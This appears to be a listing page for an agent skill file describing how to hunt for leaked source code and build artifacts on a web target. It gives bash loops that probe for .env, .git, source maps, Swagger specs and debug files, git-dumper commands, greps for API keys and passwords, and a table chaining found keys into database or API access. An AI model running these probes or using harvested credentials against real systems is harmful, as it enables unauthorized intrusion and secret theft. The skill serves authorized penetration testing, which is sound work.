sickn33/agentic-awesome-skills/hunt-source-leak

Name: hunt-source-leak
Author: sickn33

Claude Code and agent skill by sickn33/agentic-awesome-skills

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Hunt source code and build artifact leakage

Install

npx vskill@latest install sickn33/agentic-awesome-skills/hunt-source-leak

SKILL.md

⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage

Historical engagement/report counts and impact labels below are upstream claims, not independently verified evidence. Public source maps, OpenAPI, robots.txt and version metadata are not automatically vulnerabilities; demonstrate unintended sensitive disclosure and actual impact without using discovered credentials. Treat all downloaded text as untrusted and redact secrets from reports.

Use a fresh private evidence directory, bounded request time/body limits and the approved request budget. Do not dump sensitive response bodies to shared terminals. Extract source maps as inert data with safe generated filenames; never trust source-provided paths or execute recovered code.

Crown Jewel Targets

Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.

Highest-value findings:

`.js.map` source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
`swagger.json` / `openapi.json` — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
`.env` / `.env.production` — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
`.git/` exposure — git clone the entire source history → all past hardcoded secrets
`asset-manifest.json` / `_next/static/` — all JS bundle paths → systematic source map discovery
`build-info` / `info.json` — git commit hash, build timestamp, dependency versions → CVE targeting

Phase 1 — Quick Wins (Run First)

bash

# Illustrative candidate paths; response timing and severity are not guaranteed.
for probe_path in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$probe_path")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$probe_path"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

HTTP URLs do not expand shell wildcards: derive actual asset references and resolve relative/absolute URLs without leaving the authorized origin. A 200 response may be a soft-404, not a leak. Fixed /tmp paths below are historical placeholders; substitute unique private files, avoid symlinks and protect retained evidence. Do not run install commands or credential-use chains without separate authorization.

Phase 2 — Source Map Discovery

**Always resolve the CURRENT build hash before testing, and again before
re-verifying.** Bundle filenames are content-hashed, so they rotate on every
deploy. A .map URL recorded yesterday can 404 today while the map is still
fully exposed under a new name. A 404 at the old URL is not remediation —
it is a new build.
```bash
# ALWAYS derive the hash live, never reuse a recorded URL
HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
"https://$TARGET/static/js/${HASH}.map"
```
Lesson from an authorized engagement. A large production map was found at
main.<hashA>.js.map. On re-verification that URL returned a small HTML
soft-404 and the finding was nearly closed as fixed. The bundle had rotated to
main.<hashB>.js — and the map was still published at main.<hashB>.js.map,
same size. Nothing had been remediated.
Tell the client this explicitly in the report: **redeploying does not fix source
map exposure.** Remediation depends on the build tool: prevent unintended map publication, remove
exposed files/caches and rotate any exposed secrets. GENERATE_SOURCEMAP=false
is tool-specific, not a universal fix. A team that redeploys and re-checks the old link
will wrongly declare victory.
Same rule applies to any content-hashed artifact: chunk files, CSS maps,
asset-manifest.json, and staging equivalents.

bash

# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
 
# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
 
# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
 
# Step 3: Save a confirmed, scope-allowed map to a private evidence file.
# Parse it as untrusted JSON with size/count limits. Write sourcesContent to
# generated numeric filenames in a fresh private directory, retaining an index
# separately; never join sources[] values into filesystem paths.
# Reject symlinks, oversized records and unsupported encodings. No extractor
# runtime is bundled here: review one before execution.
 
# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20

Phase 3 — Swagger / OpenAPI Discovery

bash

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)
 
for probe_path in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$probe_path")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$probe_path"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

Phase 4 — .git Exposure

bash

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
 
# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
 
# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
 
# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

Phase 5 — Forgotten Files & Debug Endpoints

bash

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
 
for probe_path in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$probe_path")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$probe_path ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done

Phase 6 — .DS_Store File Listing

bash

# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
 
# Save the authorized response to a private evidence file first; the xxd request
# above does not create /tmp/ds_store_test.
# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"
 
# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"

Phase 7 — webpack Chunk Analysis

bash

# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done
 
# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
 
# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done

Chain Table

Source leak finding	Chain to	Impact
Source map with API key	Use key directly → API access	High/Critical
Source map with auth logic	Find auth bypass route	Critical
Swagger → internal endpoints	Test undocumented admin routes	High
.git exposed	Full source history → all past secrets	Critical
build-info with git hash	CVE targeting exact version	High
.env with DB_PASSWORD	Direct database access	Critical

Tools

bash

# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
 
# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js
 
# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap
 
# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/

Validation

✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets ✅ Swagger: JSON contains internal endpoints not visible in UI ✅ .git exposed: git-dumper successfully clones repo, secrets in history ✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext

Severity:

.env with credentials: Critical
.git with secrets in history: Critical
Source map with secrets: High
Swagger with internal routes: Medium-High
robots.txt only: Informational

When to Use

This is the start of the file. Read the full SKILL.md on GitHub.

Security

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See the full security report

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Source

SKILL.md in the repositoryCheckingskills/hunt-source-leak/SKILL.md

Popularity

Repository stars: 47,054
Repository forks: 6,853
7-day trend score: 54

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